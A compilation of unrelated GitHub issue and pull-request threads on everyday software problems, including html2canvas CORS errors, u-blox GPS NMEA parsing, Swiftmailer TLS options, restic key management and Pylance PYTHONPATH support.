Significant changes

Hi Victor,
I found your library useful for a project I'm building at work. I've extended it to suit my needs and I thought you might appreciate the changes. If not, c'est la vie :).
-Max

Wow, that's awesome. This should definetely go in! Thanks very much!
I'm assuming that all the tests are passing. I have no way of testing it at the moment, so I'm going to trust you and accept the PR :)
Let me know if you continue to evolve this library - I can give you commit access in that case.

Yup, tests are passing on my machine using a late version of the SQLite library. I didn't get a chance to get them working on Mono but that seemed to be more of a weird NUnit/Mono issue.
Commit access would be awesome. I have some quick changes I forgot to update the PR with. I can do that via another pull request or push directly if I get access. They're mostly fixes for poor spelling (oops) but do affect interface names (oops again).
-Max

On Apr 3, 2015, at 2:13 PM, Victor Arias<EMAIL_ADDRESS>wrote:
Wow, that's awesome. This should definetely go in! Thanks very much!
I'm assuming that all the tests are passing. I have no way of testing it at the moment, so I'm going to trust you and accept the PR :)
Let me know if you continue to evolve this library - I can give you commit access in that case.
—
Reply to this email directly or view it on GitHub.

I just gave you push access to the repo. Consider making the PR anyway for historical reasons. I should review it, but it has been years since I wrote any C# and I don't feel I'm in a position to make constructive comments - I remember the sintax and some parts of the base class library, but I don't really remember how to write idiomatic C# :(

Sorry for not replying, I've been fairly busy as of late. It looks like that change I was talking about did make it into the PR, so no need for another. Your code was pretty idiomatic as it was. Simple is good afterall :).


NMS fro YOLOv8

first of all greate job!
do you have any simple how-to get NMS from yolov8?

You need to use onnx graph surgeon. But here is the link for python code created by Wahyu Setianto which you can use: https://github.com/Hyuto/fun/tree/master/test-onnx-graph-surgeon. Use nms-onnx-v8.py

Big thanks!


Gallery (Grid) - Masnonry

Guys, when uploading images to Carousel Grid Gallery (the one with "Your Pretty Gallery" text title) it sometimes displays thumbnails in Mansonry and sometimes in classic grid layout, how can I choose which to display?
I would need it like so:

Sounds like you're talking about it showing another template from time to time.
You should be able to swap templates by opening the module settings (hover over the masonry, click on edit, then select the templates tab).
Example of templates for the testimonial module:

If this is not what you meant, please explain a little better what your issue is?
It could also just be another layout, I'm not sure. I don't use New-world

Thank you @RogerAntonio this is the way.


fix: web page style

fix FileTree/Graph position(make it unaffected by scrolling
change footer position

Sorry. I created a PR by mistake.


HTML2Canvas icon and images  not capturing correctly

html2canvas not able to capture images and icons as well
here is my code
export function  printDocument(contentId) {
let elementBody = document.body;
var transform = $(".gm-style>div:first>div:first>div:last>div").css("transform");
var comp = transform.split(","); //split up the transform matrix
var mapleft = parseFloat(comp[4]); //get left value
var maptop = parseFloat(comp[5]); //get top value
$(".gm-style>div:first>div:first>div:last>div").css({ //get the map container. not sure if stable
"transform": "none",
"left": mapleft,
"top": maptop,
});
html2canvas(elementBody, {
    useCORS: true,
    allowTaint: false,
    taintTest: false,
    pagesplit: true,
    optimized: false,
    logging:true
    }).then(canvas => {
        let imgWidth = 590;
        let pageHeight = 0;
        let imgHeight = canvas.height * imgWidth / canvas.width;
        let heightLeft = imgHeight;
        let position = 0;
        let imgData = canvas.toDataURL('image/png', 1.0);
        let pdf = new jsPDF('p', 'pt', 'a4', false);

        heightLeft -= pageHeight;
        if (heightLeft >= 0) {
            position = heightLeft - imgHeight;
            // pdf.addPage();
            pdf.addImage(imgData, 'png', 0, position, imgWidth, imgHeight);
            heightLeft -= pageHeight;
            if(heightLeft >= pageHeight) {
                pdf.addPage();
            }
          }
        pdf.save('download.pdf');
    });

}
please find the snapshot attached

Please let me know how to resolve this issues

Even if I did allowTaint: true in log I am getting "Uncaught (in promise) DOMException: Failed to execute 'toDataURL' on 'HTMLCanvasElement': Tainted canvases may not be exported."

I had this issue earlier.  Its because of some cors related stuff
*** keep in mind this depends on where the images are stored, mine was in s3

my fix

Add  crossorigin="anonymous" to img tag (although i dont think this did anything on my part)
alter the source of the image in your .then() append some random string to it to corrupt the src

(save this alteration append) then remove it after
this should render your images

so I append      "?3333/" to it (/ is for safari) and remove after pdf render

Hi @ShabariRepo maybe you can help me with this problem. I have images inside SVG that are not correctly generated. How do you propose to add "?3333/" and remove it?
You can check the problem on this jsfiddle: http://jsfiddle.net/equerol/sodofkcs/5711/
Thanks.

It seems there is no a solution for this.


Theme not working on abp version 4.0

Hello,
i tried running the theme LYear on sample bookstore version  in abp 4.0 without success.
i am getting the following error :
TypeLoadException: Could not load type 'Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared.Components.IBrandingProvider' from assembly 'Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=null'.
any idea how to fix that ?

Any news about updating the theme to be compatible with version 4.0 of abp ?

@MROALI Modules of EasyAbp will be upgraded to ABP 4.0+ in mid December if the new version of the framework is as stable as expected.


support for monitoring users

so I could for example watch all my own repos :)

Give it a try specifying your username under the 'org' flag. Not at a computer now but I think it should work. If not, easy for me to add in.

Apologies, on my mobile and thought this was an issue.. not a PR. I'll take a look later today, appreciate the contribution :)

@Rucknar not a problem, it doesn't work passing a user down in the ORGS env :)

Thanks @caarlos0 !


mininet cluster edition problem

Hi
Recently, I used mininet cluster edition to simulate more than thousand host on more than two virtual machine. But if I create h510 host, the mininet shows that "buffer overflow detected". Do I have any method to solve this problem?
Please help me, thank you for your help.

Can you confirm that you are not running out of memory?

If you aren't running out of memory, this appears to be a bug with sudo itself. In fact, it may be a very serious security bug which the sudo maintainers will need to fix.


Syncing latest changes from main for kubernetes-csi-addons

PR containing the latest commits from main branch

/lgtm
/approve


Add excludeList for exporting single file html wikis

There is already a default exclude list so letting the person use a filter to define an optional filter for excluded tiddlers should be pretty quick to add.

This is done, but there may be some bugs that have to do with accents. I am not sure because I only ran into them using the french edition and there are some things like fr-title used there that may affect what is going on.
If I find out what it is I will list it as a bug.


Updated GPS initialization and parsing

Multiple changes to GPS handling.

Configure GNSS and NMEA messages at cold startup
Fixed byte-order bug on UART configuration
Set UART bit rate to 38400 bps. (Prevents message drops at 9600 bps / 10Hz; more reliable than higher rates)
Add validation of NMEA message checksums
Add support for u-blox 'PUBX' NMEA messages to reduce bandwidth requirement and simplify future satellite constellation parsing
Improved horizontal accuracy calculation
Add vertical velocity and vertical accuracy; update UI 'GPS/AHRS' page
Add satellites tracked and satellites seen; update UI 'Status' page

Changes tested on u-blox M8 (RY835AI UART) and u-blox 7 (VK-172 USB). Should be compatible with all u-blox 6, 7, and 8 series GPS.

Lots of errors on the first two or three starts:
2015/12/28 06:17:53 Using /dev/ttyAMA0 for GPS
2015/12/28 06:17:53 GPS configuration complete
2015/12/28 06:17:54 GPS error. Invalid NMEA string: Invalid NMEA message
2015/12/28 06:17:54 GPS error. Invalid NMEA string: Checksum failed. Calculated 0X9F; expected 0X1F
2015/12/28 06:17:54 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB4; expected 0X34
2015/12/28 06:17:54 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB5; expected 0X35
2015/12/28 06:17:54 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB2; expected 0X32
2015/12/28 06:17:54 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB3; expected 0X33
2015/12/28 06:17:54 count == 0, doing cleanup if necessary...
2015/12/28 06:17:54 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB0; expected 0X30
2015/12/28 06:17:54 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XBF; expected 0X3F
2015/12/28 06:17:54 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB7; expected 0X37
2015/12/28 06:17:55 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB6; expected 0X36
2015/12/28 06:17:55 GPS error. Invalid NMEA string: Checksum failed. Calculated 0X9F; expected 0X1F
2015/12/28 06:17:55 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XA1; expected 0X21
2015/12/28 06:17:55 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB5; expected 0X35
2015/12/28 06:17:55 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB3; expected 0X33
2015/12/28 06:17:55 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XB2; expected 0X32
2015/12/28 06:17:55 count == 0, doing cleanup if necessary...
2015/12/28 06:17:55 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XBB; expected 0X3B
2015/12/28 06:17:55 GPS error. Invalid NMEA string: Invalid checksum
2015/12/28 06:17:55 GPS error. Invalid NMEA string: Checksum failed. Calculated 0XEB; expected 0X6B

It seems like they subsided after running it a few times? Something with the config?

$G�GG�,073749.90,,,,,0,00,99.99,,,,,,*61
$�UB�,00,073749.90,4228.62405,N,08339.66695,W,239.599,NF,9466308,6693691,0.000,0.00,0.000,,99.99,99.99,99.99,0,0,0*34

Some messages coming through like this - checksum is OK but message is garbled.

Your checksums suggest a single bit error on the MSB, where a "0" is being flipped to "1". I saw something similar once during testing; the GPS log on that stat showed multiple single-bit errors on the NMEA messages (anonymized example below).
The top row is what was received by the RPi; the bottom is what actually would have been sent. The extended ASCII characters in the top row (Â, Ø, Î, ×, Ä) are 0x80 offsets from the "correct" characters on the bottom row.
$PUÂØ,00,052918.10,44nn.nnnnn,Î,093nn.nnnnn,×,258.000,Ä3,1.5,2.2,0.175,23.89,0.015,,1.03,1.51,1.05,10,0,0*78
$PUBX,00,052918.10,44nn.nnnnn,N,093nn.nnnnn,W,258.000,D3,1.5,2.2,0.175,23.89,0.015,,1.03,1.51,1.05,10,0,0*78

I'd guess that this could be a sync / timing error on the port; I reset the RPi bit rate from / to 38400 (stty -F /dev/ttyAMA0 9600; stty -F /dev/ttyAMA0 38400) and the problem cleared itself in real time. itself. It didn't come back on the next reset, and I haven't seen it since.
As far as a fix / prevention, a lower bit rate might help. The new code only needs about 12 kbps to feed messages at 10 Hz (including the 1 Hz status messages), so I don't see any reason this couldn't be dropped down to 19.2 kbps.

Turned off AHRS and it cleared up after restarting gen_gdl90, not sure if coincidence or not.

Try https://github.com/AvSquirrel/stratux/commit/48f3170df9190b168f00bba2f14d07c15ca5391e .
This adds a 250 ms delay after GPS initialization completes, before the port is reopened at 38.4k.
I noticed at the beginning of the GPS logs that I was picking up the ACKs from UBX configuration messages. Could be that the GPS is slower than the RPi to respond. This should give the GPS a chance to "settle in" before reading at the higher rate.


Mac builders in dart-internal need longer than 1h timeouts

Some of the ios builders require more than 1h to complete because builds in dart internal do not have access to GOMA.

\cc @yusuf-goog

Turns out the blue result was misleading and the bots were dying for resource starvation in builds with no goma.

Fix: https://flutter-review.googlesource.com/c/recipes/+/44802


Mana bug

Mana flowers are disconnecting from the spreaders and stop flowing the mana to the pools.  You can reconnect the flowers with the wand once you catch the problem.  But they will disconnect again at a later time.  I went to Naly's house to see if he had the problem, and he did not have it, but then this morning he yelled at me for breaking his flowers, because they had disconnected as well.

Nothing else in the chunks are being affected? If you place a block and leave the chunk do the changes made still stick?

nothing else in the chunk is affect only the flowers.

All my mana flowers did as well this sunday. Only happened once though.
The timing seemed a bit random, just about no changes the day it happened and absolutely no changes in my botania setup in a long time.

Happened quite a few times now. they seem to simply forget their binding when unloaded

This could probably be something with Cauldron and forge chunkloading. Will watch for updates.

Hey I have an update......last few days I was having lines of my ME system disappear.  I first thought people were messing with me (but for fun)  but after a few times, I killed all trust permissions cause it was only funny a few times... and it was still happening.  So I asked around, and everyone said don't use the glass flux cable it can do that, so I changed the line to smart cable and it is still disappearing in the walls near the botania area of my base.  Hope that helps, feel free to come take a look, I built a service tunnel for the cable since it was breaking so often, made it easier to fix.  Oh and if I leave the world and come back it will most defiantly be broken when I return, so I think you might be on the right track when you say chunk loading issues.

vaskii is trying a fix for this in the newest dev version for version 192.

Can we check this out again and confirm if its still happening with the newest version in yesterdays update?

@usmc-Blockhead

Just tested. still bugged. All my flowers just lost their binding on chunk unload.

Alright from the sounds of other responses on the issue I made on their github its looking like build 193 might mix this.


⚠ Bofrost.at has degraded performance

In ce19e11, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1743 ms

Resolved: Bofrost.at performance has improved in c7d3482 after 7 minutes.


volume argument on spawn

I couldn't hear any sound with the --volume= argument, so I changed it to ' -volume ' ,but still couldn't get any sound.
When I removed the argument it worked as expected.

I made a fix on it by setting the volume after starting the song. You can see it from the fork.

Hey thanks! Can you tell me what version of mplayer and node do you have?

node is 5.8.0  and Mplayer 1.1-4.8 . I ran the mplayer with your arguments and it says
Unknown option on the command line: --volume=100
Error parsing option on the command line: --volume=100
MPlayer 1.1-4.8 (C) 2000-2012 MPlayer Team

Hmm I always worked with MPlayer2, but apparently the development has stopped.
I'll update the module to work with MPlayer 1.3.x (the FFMPEG 3 version), and 1.2.x (FFMPEG 2). With these versions, the --volume parameter doesn't work. But you should maybe upgrade your MPlayer version to one of those.
Thanks for reporting this!


snow git execute failing in GitHub actions with "No files matched pattern" error

I am able to execute the command from VS Code. However, in GitHub actions I get the error "No files matched pattern". How do I troubleshoot this?
test connection, fetch, list repo and branches work fine in GitHub Actions, but not execute.
VS code local - works fine

GitHub Action - fails

Did you checkout the code? You have to use this action first https://github.com/marketplace/actions/checkout

yes, I am doing actions/checkout@v4 prior to Snowflake-Labs/snowflake-cli-action@v1

What OS and CLI version are you using in both cases?

I am using ubuntu-latest in GitHub Action:
RUNNER_OS=Linux
ImageOS=ubuntu22
ImageVersion=20240721.1.0
Snowflake CLI version: 2.6.1

Can you try running snow git fetch configuration.elt.bi_snowflake before snow git execute command?

The .yml file is in UTF-8?

The encoding of the file is ascii

What version of Snowflake CLI are you using in vs code local?

Same, Snowflake CLI version: 2.6.1

This issue was fixed in Snowflake CLI v2.8.1


Implement Issue #571

Allow estmp connection options to be set.  Can be used to allow ssl / tls to use self-signed certificates with the following "options" set:  array('ssl' => array('allow_self_signed' => true, 'verify_peer' => false)).
Reference:
http://stackoverflow.com/questions/26896265/php-swiftmailer-using-starttls-and-self-signed-certificates

You opened up this pull request that lets us set SSL/TLS options. A great thing @acinelli - but the default options you can set via stream_context_set_default() are ignored.
@adbre made another approach to the same problem and simply added the SSL/TLS default options that can be set via stream_context_set_default(). Also a great thing (especially because PHP does not seem to use these defaults if it not explicitly told to) - but this might not always be flexible enough.
So how about a combination in form of "we merge the defaults and own settings"? What do you think?

Thanks for the PR. As announced some time ago, Swiftmailer is not maintained anymore.
Symfony Mailer is the next evolution of Swiftmailer.
It provides the same features with support for modern PHP code and support for third-party providers.


TypeError: Cannot read property '_ownerDocument' of undefined

/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/level1/core.js:458
if (!newChild._ownerDocument) newChild._ownerDocument = this._ownerDocumen
^
TypeError: Cannot read property '_ownerDocument' of undefined
at Object. (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/level1/core.js:458:18)
at Object.insertBefore (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/level2/events.js:325:20)
at Object.appendChild (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/level1/core.js:574:17)
at setChild (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/browser/htmltodom.js:167:17)
at setChild (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/browser/htmltodom.js:163:7)
at setChild (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/browser/htmltodom.js:163:7)
at setChild (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/browser/htmltodom.js:163:7)
at setChild (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/browser/htmltodom.js:163:7)
at setChild (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/browser/htmltodom.js:163:7)
at setChild (/usr/local/lib/node/.npm/jsdom/0.2.1/package/lib/jsdom/browser/htmltodom.js:163:7)

I still have this issue by using a custom html tag:
jsdom.env('<!doctype html><' + myComponent +'/>', function (errors, window) {
  global.document = window.document
  console.log(document.body.innerHTML) // <my-component></my-component>
})

@GianlucaGuarini please open a new bug instead of commenting on an old bug; include the full error thrown with the stack trace, and make sure you are using the latest version of jsdom, 4.0.1 on io.js.


Add user id index

We need this in order to bulk invalidate user sessions when a user resets or changes their password (for security reasons).

Closing this PR since we want to revert the last 3 commits (but will keep this branch / PR separate for historic reasons)


Implement 'key' command

This PR implements the 'key' command:
$ restic key --help

The "key" command manages keys (passwords) for accessing the repository.

EXIT STATUS
===========

Exit status is 0 if the command was successful, and non-zero if there was any error.

Usage:
  restic key [flags] [list|add|remove|passwd] [ID]

Flags:
  -h, --help                     help for key
      --host string              the hostname for new keys
      --new-password-file file   file from which to read the new password
      --user string              the username for new keys

Global Flags:
      --cacert file                file to load root certificates from (default: use system certificates)
      --cache-dir directory        set the cache directory. (default: use system default cache directory)
      --cleanup-cache              auto remove old cache directories
      --compression mode           compression mode (only available for repository format version 2), one of (auto|off|max) (default auto)
      --insecure-tls               skip TLS certificate verification when connecting to the repository (insecure)
      --json                       set output mode to JSON for commands that support it
      --key-hint key               key ID of key to try decrypting first (default: $RESTIC_KEY_HINT)
      --limit-download int         limits downloads to a maximum rate in KiB/s. (default: unlimited)
      --limit-upload int           limits uploads to a maximum rate in KiB/s. (default: unlimited)
      --no-cache                   do not use a local cache
      --no-lock                    do not lock the repository, this allows some operations on read-only repositories
  -o, --option key=value           set extended option (key=value, can be specified multiple times)
      --pack-size uint             set target pack size in MiB, created pack files may be larger (default: $RESTIC_PACK_SIZE)
      --password-command command   shell command to obtain the repository password from (default: $RESTIC_PASSWORD_COMMAND)
  -p, --password-file file         file to read the repository password from (default: $RESTIC_PASSWORD_FILE)
  -q, --quiet                      do not output comprehensive progress report
  -r, --repo repository            repository to backup to or restore from (default: $RESTIC_REPOSITORY)
      --repository-file file       file to read the repository location from (default: $RESTIC_REPOSITORY_FILE)
      --tls-client-cert file       path to a file containing PEM encoded TLS client certificate and private key
  -v, --verbose n                  be verbose (specify multiple times or a level using --verbose=n, max level/times is 3)

https://restic.readthedocs.io/en/latest/070_encryption.html

Well that e2e test was a very good idea! It showed that the implementation was broken because basecommand wasn't dynamically generate on command execution but only once on key object generation! :)


BioImageIOPackager only downloads partial models

For example, for this model: https://bioimage.io/#/?id=10.5281%2Fzenodo.6334777 I get only a partial and invalid download, see screenshot:

Downloading this model with the python library works fine:
bioimageio.core.export_resource_package("10.5281/zenodo.6334777")

downloads the full model pacakge.

Just fyi, this error happens in Firefox, and also Safari (reported by @fjug). Chrome seems to work.

@constantinpape I did some update to the packager:

https://github.com/imjoy-team/bioimage-io-resources/commit/359b3b643b0b2f278828189e9f3451d31fc24acf
This is to update the axios library which used for downloading, the default timeout is 0 which means no time out, so I am not sure whether the issue can be fixed. I tested in both Safari and FireFox and they works all fine.

https://github.com/imjoy-team/bioimage-io-resources/commit/363c0ae07bc76d3464b713bc0f25f1a8da3acbb9
This is a fix for addressing the failed to download https issue.

In any case, please test and see if the issue still exists.


multiprocessing prevents node object updates inside subprocesses

Need to fix!

closed by https://github.com/adobdin/timmy/commit/28ca313268cd05016beb5cff7e84a3afbc356df7


Roll Flutter Engine from d6855205df29 to f7ab79df2ad3 (4 revisions)

https://github.com/flutter/engine/compare/d6855205df29...f7ab79df2ad3
2023-05-15<EMAIL_ADDRESS>Roll Fuchsia Linux SDK from jXrn0SP_MnSmhkz_P... to EweLgJoiYUDok2vyU... (flutter/engine#42035)
2023-05-15<EMAIL_ADDRESS>Roll Skia from 0410e5d9ec03 to 0c2083a60b66 (1 revision) (flutter/engine#42034)
2023-05-15<EMAIL_ADDRESS>[Impeller] Include AndroidSurfaceVulkanImpeller behind a flag (flutter/engine#42033)
2023-05-15<EMAIL_ADDRESS>Reland "Remove GN staging flag for save layer bounds" (flutter/engine#42029)
Also rolling transitive DEPS:
fuchsia/sdk/core/linux-amd64 from jXrn0SP_MnSm to EweLgJoiYUDo
If this roll has caused a breakage, revert this CL and stop the roller
using the controls here:
https://autoroll.skia.org/r/flutter-engine-flutter-autoroll
Please CC aaclarke@google.com,rmistry<EMAIL_ADDRESS>on the revert to ensure that a human
is aware of the problem.
To file a bug in Flutter: https://github.com/flutter/flutter/issues/new/choose
To report a problem with the AutoRoller itself, please file a bug:
https://bugs.chromium.org/p/skia/issues/entry?template=Autoroller+Bug
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+doc/main/autoroll/README.md

Commit queue failed; closing this roll.


Store the reason why users have been deactivated

Closes #20

:+1:  LGTM

Looks good

Looks good


fix(prisma): Explicitly set fields to use when updating user

Targets v3 branch
Attempt at fixing https://github.com/iaincollins/next-auth/issues/384#issuecomment-660640360

Oh that was fast. :D I didn't know how to do approach addressing this!
Feel free to merge in any changes to the adapter in the v3 branch you think should be in there!


Typo

Q
A

Is bugfix?
no

New feature?
no

Breaks BC?
no

Tests pass?
yes

Fixed issues

Merged. Thanks!


German translation for pdf-pager 0.34 including changes to translate title buttons

The changes are for de.json and pdf-actorshet.mjs
I translated the missing translation strings and also tried to enhance the data structure for translation of the title buttons in de.json.
To translate the title buttons pdf-actorsheet.mjs needs to be adjusted. Also probably en.json would need an adjustment.
As I am still not very profficient with JS I hope the code change will be ok. Probably the translations of the translationstrings for the buttons could be put somewhere else also ;). Feel free to adjust my "coding".

Hmm I am reall struggling to get a grasp on how Github works. I used Windows and Visual studio Code. So possibly if you used linux there might be different code pages/line endings. For simplicity (for me I will post it into this comment). It is just two lines anyway:
_getHeaderButtons() {
let buttons = super._getHeaderButtons();
// translation strings for title buttons
const CustomPDF = game.i18n.localize(`${PDFCONFIG.MODULE_NAME}.TitleButtonName.CustomPDF`);
const InspectData = game.i18n.localize(`${PDFCONFIG.MODULE_NAME}.TitleButtonName.InspectData`);

// end translation strings for title buttons
buttons.unshift({


fix: use chunk.fileName as id instead of chunk.facadeModuleId

because dynamic imports should also be wraped in function-call. facadeModuleId is only filled for known module names, but fileName is filled for known modules and dynamic imports.
Without this change dynamic imports won't be pushed through the function wrap here: https://github.com/UmamiAppearance/rollup-plugin-your-function/blob/main/src/your-function.js#L28

Makes sense.


Does the "Check for updates" option support using a proxy server?

Should the "Check for updates" option support using a proxy?  If so, where should that proxy be defined?  If it should respect it, that has not been my experience.  Thank you.
ℹ Computer information

Windows build number: 1909
PowerToys version: v0.20.0
PowerToy module: all

📝 Provide detailed reproduction steps (if any)

Check for updates

✔ Expected result
That Powertoys use the proxy server defined.. somewhere.. anywhere..  in Windows Settings, IE, system-level, HTTP_PROXY environment variable, etc.
What is the expected result of the above steps?
That it would successfully check for updates.
❌ Actual result
Nothing happens.  No errors.  No nothing.

@enricogior looks like get_new_github_version_info_async in updating.cpp does this, do we have proxy support?

@KennethScott @crutkas
we don't support manual settings for a proxy (since PT is an application), it's the system that provides proxy support.
Is there a reason why PT should supports its own proxy?

My issue is that it doesn't seem to respect the system proxy.  I've tried setting one every way I know how, but no matter what, I haven't been able to get it to do anything.  I've tried via the old Internet Options, setting via command line using netsh winhttp set proxy (both 32bit and 64bit), etc.  Which one should it respect?
Thanks-

@KennethScott
the proxy should not have anything to do with the problem you are experiencing.
Before further investigation, please manually update to 0.20.1 https://github.com/microsoft/PowerToys/releases/tag/v0.20.1
Use the .exe installer.

@KennethScott
is this still a problem?


item requirement amount >127 will turn in to air

What is your Quests version / build number (do not say "latest")?
Quests-4.0.0-rc.2.jar #164
Describe the problem and how to replicate it. Any console errors to post using Pastebin.com?
item requirement > 128 will fail and become air requirement
if the item requirement is 127 or below, it works fine, however, if it is >128, it becomes air and turns out the requirement become don't care.
I understand that usually using the in game editor may not able to set 128 or above, however , i use yml to make quest usually and most of my quests will require hand in 128+ items to the npc, this "bug" will make almost half of my quests (more than 100) will have to re make

If applicable, can you provide an example quest from quests.yml using Pastebin.com?
https://pastebin.com/JaBD6AMj

Use two stacks of 64. This "bug" is a limitation of Bukkit serialization.

Use two stacks of 64. This "bug" is a limitation of Bukkit serialization.
two stacks of 64 works for stage but not for item requirement.
it is impossible for using multiple item requirement to set requirement >64, repeating item requirement will only check for maximum amount of 64 but not 65+

Use two stacks of 64. This "bug" is a limitation of Bukkit serialization.

as you added won't fix tag, does that mean item requirement that >64 is impossible in 1.16?
I understand stage can use multiple submitting to reach total of 64+ items submitted, but requirement does not work like that.

Any stack greater than 64 is considered invalid.
Item requirement should accept multiple stacks; I'll look into it.

Any stack greater than 64 is considered invalid.
Item requirement should accept multiple stacks; I'll look into it.

thank you for reopen the this post
i understand stacking greater than 64 is invalid, as it is impossible for normal player to hold that amount of item.
i have tried using in game editor to type number >64, it does not work, which make sense.
I can only try 64 and multiple requirement which cannot create a requirement of holding 64+ items at the same time( the above one mentioned)

@hkkongou Should be working as of https://ci.codemc.io/job/PikaMug/job/Quests/173/

this happen
the requirement is not showing and people cannot take the quest
https://cdn.discordapp.com/attachments/696002416239444008/784961940359086161/2020-12-06_09.57.38.png

@hkkongou Did you re-set the Requirement? It still won't work with a value of 128 - you must use multiple stacks of 64.

i did re-set the requirement before this fix version release, i turned all requirement > 127 into single 64 requirement for all quest in quest.yml
however it is showing the above error.
i haven't try requirement >65

Try https://ci.codemc.io/job/PikaMug/job/Quests/177/
If that doesn't improve things, I'll need to see your quests.yml file.

is fine now


New autoassign parameter for agent category belonging

This update adds a new parameter "autoassign" that it's stored in the agent_category pivot table and it's meant to solve our particular scenario, where I have at the moment two categories:

The first one, is a category where I have one agent that has to check all new tickets:

If it's not for her, or when It's needed, she has to be able to assign that ticket to other agents in the category (me or my boss)

The second one is the IT main category:

We want to receive new tickets notification in one of our department shared mail accounts, so everyone can be noticed about new tickets
Later, we want to distribute these tickets manually to whom is the best agent on each case, at least for the first support step

I've improved eloquent queries a bit. If it's worth to publish this then I'll create new translation fields and apply on the modified blade template
Also I've been thinking that a related configuration parameter would be nice to enable or not this behaviour.
Comments and suggestions are all welcome!

I've done all the changes. The form couldn't be submitted without publishing the .js file. Sorry for not specifying that.
I knew that all translation fields were pending and I'm sorry If I didn't explain well the status of this pull request as it gave you extra work. Next time I hope to be more clear about pending changes before PR approval.
Thanks for you feedback!

Is there any requested change pending in this PR or anything else that has to be edited? Have you checked it out after my updates? Thank you!

not ready for production, sorry.


bugfix:fix error while the "context" is key word in DM8 when delete undolog

[ ] I have registered the PR changes.

Ⅰ. Describe what this PR did
fix error while the "context" is key word in DM8 when delete undolog
Ⅱ. Does this pull request fix one issue?

fixes #7009
Ⅲ. Why don't you add test cases (unit test/integration test)?
Ⅳ. Describe how to verify it
Ⅴ. Special notes for reviews

请登记pr和作者信息至changes文件夹中的中英两版2.x.md中 Please register the PR and author information into the Chinese and English versions of the 2.x.md file located in the changes folder.

done

请把你的钉钉号发送至我的邮箱，我将邀请你加入seata社区开发者群中。
Please send your DingTalk ID to my email, and I will invite you to join the Seata community developer group
<EMAIL_ADDRESS>


Add missing newlines to the end of some files.

Some files in the repository are missing newlines at the very end, as pointed out by @nrbrook in #1026
Classes/CocoaLumberjack.h was specifically mentioned, but there could be other files that are missing this as well.

lol persistent this one. Can someone configure the bot to ignore the good first issue tag?

@hhanesand See #1073


.env file with PYTHONPATH=... is not supported

Environment data

Language Server version: 2020.8.2
OS and version: Windows 10
Python version (& distribution if applicable, e.g. Anaconda): 3.8.5 (not conda)

Expected behaviour
No error and should allow to "peek definition" without adding "source." to "from .....   import ....... " line
This works as expected if I disable pylance and use only Python vscode extension
More about expected behaviour:
https://stackoverflow.com/questions/50089498/how-to-set-the-root-directory-for-visual-studio-code-python-extension
Actual behaviour

Code Snippet / Additional information

workspace structure:

.env (which is at root of workspace)
PYTHONPATH=source

We're also facing this issue. Latest versions VSCode became unusable for us.

I am working on restoring this in the core extension (been busy with a giant refactoring), but as a workaround you can mirror the paths to extraPaths.

I add my path to extraPaths and the package is still not recognized. Any ideas of how to debug this?

If you can provide you set extraPaths to, we can look, but I don't think extraPaths not working is related to this issue (PYTHONPATH not being read), so I would prefer if you made a new issue with your info.

We've just hit this problem.
We have automated set up tools that create the development workspace and we use the .env file for setting the PYTHONPATH so we can be reasonably IDE agnostic. Without this feature we can't use Pylance.

Unfortunately, this isn't as simple as I had thought. With MPLS we started one server per workspace, so the environment variables made sense within each. But now with full multi-root workspace support, we can't just apply the environment variables as we did before as there's only one process. We'll need to come up with some solution to pass the environment down per-workspace, which likely means a similar solution to our pythonPath resolution (passing the info in the configuration).

I can confirm this issue. Have an additional directory in my workspace and made that available via PYTHONPATH in the .env file, located in the workspace root. That always worked fine, however, after activating Pylance as Python language server the VS Code editor complains about unresolvable imports (i.e. those from the PYTHONPATH variable in the .env file). Switching back to the default Python language server does solve this issue for me.

Hey guys, any news on this?
I would really like to use Pylance, but w/o PYTHONPATH support it is not usable for us :-(

We'll update this thread when something changes. We're having a discussion about the future of path setting (as the current way isn't well designed to cover all of the different tooling between Pylance, the debugger, external linters, pytest, etc), but it might be possible to do what I said in my last message and hack the client to pass the environment variable down in the config or tack it on to extraPaths.

I have the same issue, but I have noticed that PYTHONPATH is properly read from .env if I run from the debugger.
Also, I have the same issue regardless whether I use jedi or pylance.
For what it's worth, I think this setting should be less obscure. By default, these thing don't work in VSCode because you need to know about PYTHONPATH and its effect, and that there is no setting for that, but you have to create a .env file... and so on.
On the other side, this just works in pyCharm, because there is a setting ("Add source roots to PYTHONPATH") that is enabled by default. Just a constructive critique.

Thanks - the extrapaths (python.autoComplete.extraPaths: ["./src", "./tests"]) suggestion worked great.
Pylance is a great enhancement - thank you!

In my case worked with:
"python.analysis.extraPaths": [
    "./src",
    "./another_src"
]

the extraPaths worked for me but afther Dec 9th update it stopped working.

Please also be aware that the variable may contain multiple paths. The MS Python Language Server does not handle that, the bug template redirects to this Pylance, which at least works with "python.analysis.extraPaths" but that's manual.

Yes, certainly; I don't know why MPLS didn't handle that... My WIP definitely splits on the system PATH separator.

Yes, certainly; I don't know why MPLS didn't handle that... My WIP definitely splits on the system PATH separator.

